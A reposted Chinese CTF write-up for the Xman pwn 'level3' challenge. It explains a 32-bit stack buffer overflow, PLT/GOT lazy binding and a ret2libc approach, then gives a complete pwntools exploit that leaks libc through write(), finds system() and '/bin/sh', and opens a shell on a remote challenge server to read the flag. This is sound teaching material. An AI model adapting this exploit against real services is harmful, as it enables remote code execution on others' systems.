Xman pwn level3 writeup

转载

tuck3r 于 2019-08-26 20:04:17 发布 562 收藏
分类专栏： CTF pwn 文章标签： Xman pwn writeup
原文链接：http://virgin-forest.top/2019/05/18/ctf-xman-level3-libcsearcher/


CTF 同时被 2 个专栏收录
13 篇文章 1 订阅
订阅专栏


pwn
12 篇文章 0 订阅
订阅专栏

题目描述：

libc!libc!这次没有system，你能帮菜鸡解决这个难题么？

分析思路：

1、拿到文件后，首先查看文件的详细信息以及相应的安全机制：

```
tucker@ubuntu:~/pwn$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-,
tucker@ubuntu:~/pwn$ checksec level3
[*] '/home/tucker/pwn/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

32bit的ELF文件，开启了NX（栈不可执行）保护，因此shellcode基本没用武之地了。

2、使用IDA看一下，发现和前面的level差不多：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

其中，vulnerable_function()函数如下：

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

我们看到，此处给buf申请了0x88个byte，但是read读取了0x100bytes，存在明显的栈溢出。但是前面我们我们看到了NX，因此不能够执行栈上的代码，此时我们可以采用ROP（https://en.wikipedia.org/wiki/Return-oriented_programming）办法。

3、我们使用shift+F12查看字符串，没有发现/bin/sh，在导入的函数中，也没有system函数。但是我们发现了加载的libc动态链接库。

此处需要进行说明：

libc文件：

程序开始运行时，会把整个libc映射到内存中，以后在程序调用相关库函数时，会依据plt-got表的机制，将所需要的库函数加载到内存空间的某一个虚拟内存地址，然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能。

PLT和GOT表（可参考https://en.wikipedia.org/wiki/Global_Offset_Table）：

PLT：（Procedure Linkage Table过程连接表）是ELF文件中用于延迟绑定的表，即函数第一次被调用时才进行绑定。

GOT：（Global Offset Table全局偏移表）是ELF文件中用于定位全局变量和函数的一个表。

延迟绑定：

延迟绑定就是当函数第一次被调用的时候才进行绑定（包括符号查找、重定位等），如果函数从来没有用到过，就不进行绑定。基于延迟绑定可以大大加快程序的启动速度，特别有利于一些引用了大量函数的程序。

当程序执行的时候，会载入libc文件，那么libc中的函数我们是可以调用的，我们可以通过GOT表在libc文件中找到system()和、bin/sh字符串在level3中的地址，但是libc文件中的地址和内存中的地址是平行映射的，所以要计算偏移量，进而求出system（）和/bin/sh字符串的真实地址。

但是题目没有给出libc.so文件，而不同版本的libc基地址是不同的，但是我们可以通过LibcSearcher模块使用一些函数的真实位置对libc文件的 版本进行定位。

得到真实的libc文件版本后，就能够得到libc文件的基地址，然后加上需要的函数的偏移量，就能够得到该函数的真实地址。

解题思路

题目给出了vulerable_function()，其中有read()栈溢出，而libc版本的查找和得到shell需要两步进行，所以应该重复利用vulerable_function()，大致的pwn思路如下：

1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置
2.通过write()得到write()在程序中的真实地址
3.使用LibcSearcher得到libc版本（LibcSearcher可以参考https://github.com/lieanu/LibcSearcher）

（如果有libc文件，就可以直接使用ELF加载libc文件，并使用symbols进行符号查找）

4.在对应的libc版本中查找write()、system()、/bin/sh的真实地址
5.使用write()的程序地址和libc地址计算出偏移量
6.在system()、/bin/sh的真实地址上加上偏移量再通过vulerable_function()执行得到shell

Payload1构成： 0x88位填充buf + 0x4位填充EBP + 调用write() + vulnerable_function()作为返回地址 + 文件描述符 + got表write()位置 + 写入长度

Payload2构成： 0x88位填充buf + 0x4位填充EBP + 调用system() + exit()作为返回地址 + /bin/sh地址

注意：

文件描述符常用取值如下（https://en.wikipedia.org/wiki/File_descriptor）：

Integer value	Name	<unistd.h> symbolic constant[1]	<stdio.h> file stream[2]
0	Standard input	STDIN_FILENO	stdin
1	Standard output	STDOUT_FILENO	stdout
2	Standard error	STDERR_FILENO	stderr

编写的exp如下：

```
from pwn import *
from LibcSearcher import *

# p = process("./level3")
p = remote("111.198.29.45", "36722")

e = ELF("./level3")
write_plt = e.plt["write"]
write_got = e.got["write"]
vuln_addr = e.symbols["vulnerable_function"]

p.recv()
payload1 = "a" * 0x88 + 'a' * 0x4 + p32(write_plt) + p32(vuln_addr) + p32(0x1) + p32(write_got) + p32(0x4)
p.sendline(payload1)

write_addr = u32(p.recv(4))   #
print("write addr:" + hex(write_addr))

libc = LibcSearcher("write", write_addr)
write_off = libc.dump('write')
bin_sh_off = libc.dump('str_bin_sh')
system_off = libc.dump('system')
exit_off = libc.dump('exit')

libc_base = write_addr - write_off

bin_sh_addr = libc_base + bin_sh_off
system_addr = libc_base + system_off
exit_addr = libc_base + exit_off

p.recv()
payload2 = "a" * 0x88 + 'a' * 0x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.sendline(payload2)

p.interactive()
```

运行即可得到flag：

```
tucker@ubuntu:~/pwn$ python level3.py
[+] Opening connection to 111.198.29.45 on port 36722: Done
[*] '/home/tucker/pwn/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
write addr:0xf76193c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{752b8764602954937c84dde4ee429f75}
```

（本文参考了大量 原始森林 大佬的http://virgin-forest.top/2019/05/18/ctf-xman-level3-libcsearcher/文章，膜拜）